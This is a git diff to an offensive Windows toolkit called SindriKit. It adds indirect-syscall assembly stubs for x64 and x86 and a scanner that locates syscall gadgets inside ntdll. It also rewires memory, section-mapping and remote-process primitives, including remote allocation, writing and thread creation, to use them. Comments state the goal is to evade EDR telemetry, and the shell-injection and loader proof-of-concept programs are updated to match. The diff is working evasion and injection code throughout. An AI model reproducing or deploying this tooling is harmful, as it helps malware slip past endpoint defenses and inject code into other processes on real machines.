a/pocs/inject_shell/main.c +++ b/pocs/inject_shell/main.c @@ -80,8 +80,9 @@ int main(int argc, char *argv[]) { snd_syscall_set_ntdll(ntdll); /* Configure the cascading syscall resolution strategy. */ - snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); - snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); + snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); + snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); + snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); inj_ctx.target_pid = target_pid; inj_ctx.payload = &inject_buf; diff --git a/pocs/loader_noCRT_nowinapi/main.c b/pocs/loader_noCRT_nowinapi/main.c index 4a111de..791a000 100644 --- a/pocs/loader_noCRT_nowinapi/main.c +++ b/pocs/loader_noCRT_nowinapi/main.c @@ -1,5 +1,3 @@ -#include "sindri/primitives/memory.h" - #include int main() { @@ -19,7 +17,9 @@ int main() { snd_syscall_set_ntdll(ntdll); /* Configure the cascading syscall resolution strategy. */ - snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); + snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); + snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); + snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ctx.mem_api = &snd_mem_win; ctx.mod_api = &snd_mod_nt; diff --git a/pocs/loader_nowinapi/main.c b/pocs/loader_nowinapi/main.c index 723e45e..725aac9 100644 --- a/pocs/loader_nowinapi/main.c +++ b/pocs/loader_nowinapi/main.c @@ -1,4 +1,5 @@ #include +#include #include #include #include @@ -113,7 +114,7 @@ int main(int argc, char *argv[]) { // First Method: Disk Loading - snd_buffer_t ntdll_buf = {0}; + snd_buffer_t ntdll_buf = {0}; snd_ldr_pe_ctx_t ntdll_ctx = {0}; status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf); @@ -121,8 +122,8 @@ int main(int argc, char *argv[]) { goto cleanup; } - ntdll_ctx.mem_api = &snd_mem_win; - ntdll_ctx.mod_api = &snd_mod_nt; + ntdll_ctx.mem_api = &snd_mem_win; + ntdll_ctx.mod_api = &snd_mod_win; ntdll_ctx.raw_source = &ntdll_buf; status = snd_pe_parse(ntdll_ctx.raw_source, FALSE, &ntdll_ctx.pe); @@ -157,9 +158,11 @@ int main(int argc, char *argv[]) { snd_syscall_set_ntdll(ntdll); - /* Configure the cascading syscall resolution strategy. */ - snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); - snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); + snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); + snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); + + snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); + snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); ctx.mem_api = &snd_mem_sys; ctx.mod_api = &snd_mod_nt; diff --git a/src/loaders/reflective/chain.c b/src/loaders/reflective/chain.c index fd6c77f..9d84aca 100644 --- a/src/loaders/reflective/chain.c +++ b/src/loaders/reflective/chain.c @@ -1,8 +1,7 @@ -#include "sindri/loaders/reflective/engine.h" - #include #include #include +#include #include typedef BOOL(WINAPI *snd_dll_entry_proc_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); diff --git a/src/primitives/execution/syscalls/asm/invoke_x64.asm b/src/primitives/execution/syscalls/asm/invoke_direct_x64.asm similarity index 83% rename from src/primitives/execution/syscalls/asm/invoke_x64.asm rename to src/primitives/execution/syscalls/asm/invoke_direct_x64.asm index f9dacb7..699bfd3 100644 --- a/src/primitives/execution/syscalls/asm/invoke_x64.asm +++ b/src/primitives/execution/syscalls/asm/invoke_direct_x64.asm @@ -1,9 +1,9 @@ ; =========================================================================== -; invoke_x64.asm - SindriKit Syscall Invocation ASM Stub (x64 / MASM) +; invoke_direct_x64.asm - SindriKit Syscall Invocation ASM Stub (x64 / MASM) ; =========================================================================== ; ; Exports: -; snd_syscall_invoke_asm +; snd_syscall_direct_invoke_asm ; ; Invokes a syscall with up to 10 arguments safely, setting up the ; required stack and register states for the x64 calling convention. @@ -11,10 +11,10 @@ .code -PUBLIC snd_syscall_invoke_asm +PUBLIC snd_syscall_direct_invoke_asm -; snd_syscall_invoke_asm(SND_SYSCALL_ARGS* args) -snd_syscall_invoke_asm PROC +; snd_syscall_direct_invoke_asm(SND_SYSCALL_ARGS* args) +snd_syscall_direct_invoke_asm PROC ; Allocate 96 bytes on stack to safely store args 5-11 ; (32 bytes shadow space + 56 bytes for 7 args + 8 bytes padding for 16-byte alignment) sub rsp, 96 @@ -48,6 +48,6 @@ snd_syscall_invoke_asm PROC ; Restore stack and return add rsp, 96 ret -snd_syscall_invoke_asm ENDP +snd_syscall_direct_invoke_asm ENDP end diff --git a/src/primitives/execution/syscalls/asm/invoke_x86.asm b/src/primitives/execution/syscalls/asm/invoke_direct_x86.asm similarity index 86% rename from src/primitives/execution/syscalls/asm/invoke_x86.asm rename to src/primitives/execution/syscalls/asm/invoke_direct_x86.asm index 1be67cc..76da484 100644 --- a/src/primitives/execution/syscalls/asm/invoke_x86.asm +++ b/src/primitives/execution/syscalls/asm/invoke_direct_x86.asm @@ -1,9 +1,9 @@ ; =========================================================================== -; invoke_x86.asm - SindriKit Syscall Invocation ASM Stub (x86 / MASM) +; invoke_direct_x86.asm - SindriKit Syscall Invocation ASM Stub (x86 / MASM) ; =========================================================================== ; ; Exports: -; snd_syscall_invoke_asm +; snd_syscall_direct_invoke_asm ; ; Invokes a syscall with up to 11 arguments safely. Handles both native x86 ; via int 0x2E and WOW64 execution environments. @@ -14,9 +14,9 @@ .code -PUBLIC snd_syscall_invoke_asm +PUBLIC snd_syscall_direct_invoke_asm -snd_syscall_invoke_asm PROC +snd_syscall_direct_invoke_asm PROC ; Setup standard frame push ebp mov ebp, esp @@ -65,6 +65,6 @@ cleanup: pop ebp ret -snd_syscall_invoke_asm ENDP +snd_syscall_direct_invoke_asm ENDP end diff --git a/src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm b/src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm new file mode 100644 index 0000000..d25f364 --- /dev/null +++ b/src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm @@ -0,0 +1,69 @@ +; =========================================================================== +; invoke_indirect_x64.asm - SindriKit Indirect Syscall Invocation ASM Stub +; =========================================================================== +; +; Exports: +; snd_syscall_indirect_invoke_asm +; +; Invokes a syscall indirectly by jumping to a legitimate `syscall` gadget +; within ntdll.dll to evade EDR telemetry checking the RIP of the syscall. +; =========================================================================== + +.code + +PUBLIC snd_syscall_indirect_invoke_asm + +; snd_syscall_indirect_invoke_asm(SND_SYSCALL_ARGS* args) +snd_syscall_indirect_invoke_asm PROC + push rbp + mov rbp, rsp + sub rsp, 88 + + ; RCX points to SND_SYSCALL_ARGS struct + + ; Extract the gadget address (sys_addr) which is at the very end of the struct + ; Offset is 96 (WORD ssn (2) + padding (6) + 11*PVOID (88)) + mov r11, [rcx+96] + + test r11, r11 + jnz GadgetValid + mov eax, 0C000000Dh + jmp Cleanup + +GadgetValid: + ; Setup stack arguments (args 5-11) safely in a new frame + mov rax, [rcx+40] ; arg5 + mov [rsp+32], rax + mov rax, [rcx+48] ; arg6 + mov [rsp+40], rax + mov rax, [rcx+56] ; arg7 + mov [rsp+48], rax + mov rax, [rcx+64] ; arg8 + mov [rsp+56], rax + mov rax, [rcx+72] ; arg9 + mov [rsp+64], rax + mov rax, [rcx+80] ; arg10 + mov [rsp+72], rax + mov rax, [rcx+88] ; arg11 + mov [rsp+80], rax + + ; Extract SSN and arguments 1-4 + movzx eax, word ptr [rcx] ; ssn is a WORD + mov r10, [rcx+8] ; arg1 (must go to r10 for syscall) + mov rdx, [rcx+16] ; arg2 + mov r8, [rcx+24] ; arg3 + mov r9, [rcx+32] ; arg4 + + lea r12, Cleanup + push r12 + + ; Jump to the NTDLL syscall gadget + jmp r11 + +Cleanup: + mov rsp, rbp + pop rbp + ret +snd_syscall_indirect_invoke_asm ENDP + +end diff --git a/src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm b/src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm new file mode 100644 index 0000000..359158f --- /dev/null +++ b/src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm @@ -0,0 +1,71 @@ +; =========================================================================== +; invoke_indirect_x86.asm - SindriKit Indirect Syscall Invocation ASM Stub +; =========================================================================== +; +; Exports: +; snd_syscall_indirect_invoke_asm +; +; Invokes a syscall indirectly by jumping into the middle of the NTDLL stub. +; =========================================================================== + +.686 +.model flat, c +.code + +PUBLIC snd_syscall_indirect_invoke_asm + +; NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t* args) +snd_syscall_indirect_invoke_asm PROC + push ebp + mov ebp, esp + + ; Save non-volatile registers + push edi + push esi + push ebx + + mov eax, [ebp+8] + + mov ecx, [eax+48] + + test ecx, ecx + jnz GadgetValid + mov eax, 0C000000Dh + jmp Cleanup + +GadgetValid: + ; Push 11 arguments + push [eax+44] ; arg11 + push [eax+40] ; arg10 + push [eax+36] ; arg9 + push [eax+32] ; arg8 + push [eax+28] ; arg7 + push [eax+24] ; arg6 + push [eax+20] ; arg5 + push [eax+16] ; arg4 + push [eax+12] ; arg3 + push [eax+8] ; arg2 + push [eax+4] ; arg1 + + ; Extract SSN into EAX for the syscall + movzx eax, word ptr [eax] + + lea edx, SyscallCleanup + push edx + + jmp ecx + +SyscallCleanup: + lea esp, [ebp - 12] + +Cleanup: + ; Restore non-volatile registers + pop ebx + pop esi + pop edi + + pop ebp + ret +snd_syscall_indirect_invoke_asm ENDP + +end diff --git a/src/primitives/execution/syscalls/gadget_scan.c b/src/primitives/execution/syscalls/gadget_scan.c new file mode 100644 index 0000000..204a682 --- /dev/null +++ b/src/primitives/execution/syscalls/gadget_scan.c @@ -0,0 +1,68 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) { + if (entry == NULL || entry->dwHash == 0) { + return SND_ERR(SND_STATUS_NULL_POINTER); + } + + // 1. Get the natively loaded NTDLL from our own PEB + PVOID local_ntdll = NULL; + snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll); + if (SND_FAILED(status) || !local_ntdll) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + + // 2. Resolve the real, executable address of the API using its hash + FARPROC exec_addr = NULL; + status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL); + if (SND_FAILED(status) || !exec_addr) { + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); + } + +#if defined(_WIN64) + BYTE *ptr = (BYTE *)exec_addr; + + // Scan forward a maximum of 32 bytes from the API entry point + // looking for the `syscall` (0x0F 0x05) followed by `ret` (0xC3) signature. + for (int i = 0; i < 32; i++) { + if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) { + entry->pSyscallAddr = (PVOID)&ptr[i]; + return SND_OK; + } + } + + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); // Gadget not found within bounds +#elif defined(_WIN32) + BYTE *ptr = (BYTE *)exec_addr; + + // We scan for the start of the `call dword ptr fs:[0xC0]` or `sysenter` block + // Actually, on x86, the best gadget is the entire NTDLL stub starting at the `mov edx, esp` + // or just after the `mov eax, SSN`. + // The typical NTDLL stub on x86 looks like: + // mov eax, + // mov edx, or mov edx, esp + // call dword ptr fs:[0xC0] or sysenter or call edx + // ret XX + // + // The easiest and safest way to do indirect syscall on x86 is to jump to `exec_addr + 5`. + // `exec_addr` points to `mov eax, ` which is exactly 5 bytes (B8 XX XX 00 00). + // The instructions after that handle the transition safely for the specific OS version. + + // We check if it starts with `mov eax` (0xB8) + if (ptr[0] == 0xB8) { + entry->pSyscallAddr = (PVOID)&ptr[5]; + return SND_OK; + } + + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); +#else + return SND_ERR(SND_STATUS_ARCH_MISMATCH); +#endif +} diff --git a/src/primitives/execution/syscalls/syscalls.c b/src/primitives/execution/syscalls/syscalls.c index e56681e..f1d5d02 100644 --- a/src/primitives/execution/syscalls/syscalls.c +++ b/src/primitives/execution/syscalls/syscalls.c @@ -1,29 +1,47 @@ #include -#include #include #include #define SND_MAX_INTERNAL_STRATEGIES 4 -static snd_syscall_resolver_t g_strategy_chain[SND_MAX_INTERNAL_STRATEGIES] = {0}; -static int g_strategy_count = 0; -static PVOID g_syscall_ntdll_target = NULL; +static PVOID g_syscall_ntdll_target = NULL; + +static snd_syscall_resolver_t g_strategy_chain[SND_MAX_INTERNAL_STRATEGIES] = {SND_SYSCALL_RESOLVER_DEFAULT}; +#if SND_USE_DEFAULTS +static int g_strategy_count = 1; +#else +static int g_strategy_count = 0; +#endif + +snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT; +snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT; void snd_syscall_set_ntdll(PVOID ntdll_base) { - if (ntdll_base == NULL) { + if (!ntdll_base) return; - } g_syscall_ntdll_target = ntdll_base; } -void snd_syscall_strategy_set(snd_syscall_resolver_t resolver) { +void snd_syscall_set_invoker(snd_syscall_invoker_t invoker) { + if (!invoker) + return; + g_syscall_invoker = invoker; +} + +void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder) { + if (!finder) + return; + g_syscall_gadget_finder = finder; +} + +void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) { if (!resolver) return; g_strategy_chain[0] = resolver; g_strategy_count = 1; } -snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver) { +snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver) { if (!resolver) { return SND_ERR(SND_STATUS_NULL_POINTER); } @@ -54,6 +72,9 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out snd_status_t status = g_strategy_chain[i](g_syscall_ntdll_target, func_hash, entry_out); if (SND_SUCCEEDED(status)) { + if (g_syscall_gadget_finder != NULL) { + status = g_syscall_gadget_finder(entry_out); + } return status; } } diff --git a/src/primitives/mapping/sys.c b/src/primitives/mapping/sys.c index 9a3848a..e7951a0 100644 --- a/src/primitives/mapping/sys.c +++ b/src/primitives/mapping/sys.c @@ -5,6 +5,8 @@ #include #include +extern snd_syscall_invoker_t g_syscall_invoker; + static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE *out_handle) { if (!out_handle || !section_name) return SND_ERR(SND_STATUS_NULL_POINTER); @@ -22,11 +24,15 @@ static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = out_handle; args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ; args.arg3 = &obj_attr; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL"); + } + NTSTATUS nt_status = g_syscall_invoker(&args); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_SECTION_OPEN_FAILED, nt_status); } @@ -45,6 +51,7 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = section_handle; args.arg2 = GetCurrentProcess(); args.arg3 = &base_address; @@ -56,7 +63,10 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba args.arg9 = (PVOID)0; args.arg10 = (PVOID)(ULONG_PTR)PAGE_READONLY; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + NTSTATUS nt_status = g_syscall_invoker(&args); if (!SND_NT_SUCCESS(nt_status)) { return SND_ERR_NT(SND_STATUS_SECTION_MAP_FAILED, nt_status); } @@ -77,9 +87,13 @@ static snd_status_t WINAPI sys_mapping_close(HANDLE handle) { snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = handle; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + NTSTATUS nt_status = g_syscall_invoker(&args); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status); } diff --git a/src/primitives/memory/sys.c b/src/primitives/memory/sys.c index 94b5fc2..897d1b6 100644 --- a/src/primitives/memory/sys.c +++ b/src/primitives/memory/sys.c @@ -7,6 +7,8 @@ #include #include +extern snd_syscall_invoker_t g_syscall_invoker; + static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocation_type, DWORD protect, LPVOID *out_address) { if (!out_address) @@ -23,6 +25,7 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = processHandle; args.arg2 = &baseAddress; args.arg3 = 0; @@ -30,7 +33,10 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati args.arg5 = (PVOID)(ULONG_PTR)allocation_type; args.arg6 = (PVOID)(ULONG_PTR)protect; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL"); + } + NTSTATUS nt_status = g_syscall_invoker(&args); if (SND_NT_SUCCESS(nt_status)) { *out_address = baseAddress; return SND_OK; @@ -54,12 +60,16 @@ static snd_status_t WINAPI sys_free(LPVOID address, SIZE_T size, DWORD free_type snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = processHandle; args.arg2 = &baseAddress; args.arg3 = ®ionSize; args.arg4 = (PVOID)(ULONG_PTR)free_type; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + NTSTATUS nt_status = g_syscall_invoker(&args); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_FREE_FAILED, nt_status); } @@ -76,13 +86,17 @@ static snd_status_t WINAPI sys_protect(LPVOID address, SIZE_T size, DWORD new_pr snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = processHandle; args.arg2 = &baseAddress; args.arg3 = ®ionSize; args.arg4 = (PVOID)(ULONG_PTR)new_protect; args.arg5 = &oldProtect; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + NTSTATUS nt_status = g_syscall_invoker(&args); if (SND_NT_SUCCESS(nt_status)) { if (old_protect) { diff --git a/src/primitives/process/sys.c b/src/primitives/process/sys.c index 666238d..3e79ccb 100644 --- a/src/primitives/process/sys.c +++ b/src/primitives/process/sys.c @@ -1,11 +1,12 @@ -#include "sindri/common/status.h" - +#include #include #include #include #include #include +extern snd_syscall_invoker_t g_syscall_invoker; + static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HANDLE *out_process) { if (!out_process) return SND_ERR(SND_STATUS_NULL_POINTER); @@ -25,12 +26,16 @@ static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HAN snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = out_process; args.arg2 = (PVOID)(ULONG_PTR)desired_access; args.arg3 = &oa; args.arg4 = (PVOID)&cid; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL"); + } + NTSTATUS nt_status = g_syscall_invoker(&args); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_PROCESS_OPEN_FAILED, nt_status); } @@ -50,6 +55,7 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = process; args.arg2 = &local_base; args.arg3 = 0; @@ -57,7 +63,10 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a args.arg5 = (PVOID)(ULONG_PTR)allocation_type; args.arg6 = (PVOID)(ULONG_PTR)protect; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + NTSTATUS nt_status = g_syscall_invoker(&args); if (SND_NT_SUCCESS(nt_status)) { *out_address = local_base; return SND_OK; @@ -76,13 +85,17 @@ static snd_status_t WINAPI sys_write_remote(HANDLE process, PVOID base_address, snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = process; args.arg2 = base_address; args.arg3 = (PVOID)buffer; args.arg4 = (PVOID)size; args.arg5 = &written; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + NTSTATUS nt_status = g_syscall_invoker(&args); if (bytes_written) *bytes_written = written; return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_WRITE_FAILED, nt_status); @@ -101,13 +114,17 @@ static snd_status_t WINAPI sys_protect_remote(HANDLE process, PVOID base_address snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = process; args.arg2 = &addr; args.arg3 = ®ionSize; args.arg4 = (PVOID)(ULONG_PTR)new_protect; args.arg5 = &oldProt; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + NTSTATUS nt_status = g_syscall_invoker(&args); if (old_protect) *old_protect = oldProt; return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_PROTECT_FAILED, nt_status); @@ -126,6 +143,7 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_ snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = out_thread; args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF; args.arg3 = NULL; @@ -138,7 +156,10 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_ args.arg10 = 0; args.arg11 = NULL; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + NTSTATUS nt_status = g_syscall_invoker(&args); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_THREAD_CREATE_FAILED, nt_status); } @@ -150,9 +171,13 @@ static snd_status_t WINAPI sys_close_handle(HANDLE handle) { snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; + args.sys_addr = entry.pSyscallAddr; args.arg1 = handle; - NTSTATUS nt_status = snd_syscall_invoke_asm(&args); + if (g_syscall_invoker == NULL) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + NTSTATUS nt_status = g_syscall_invoker(&args); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status); }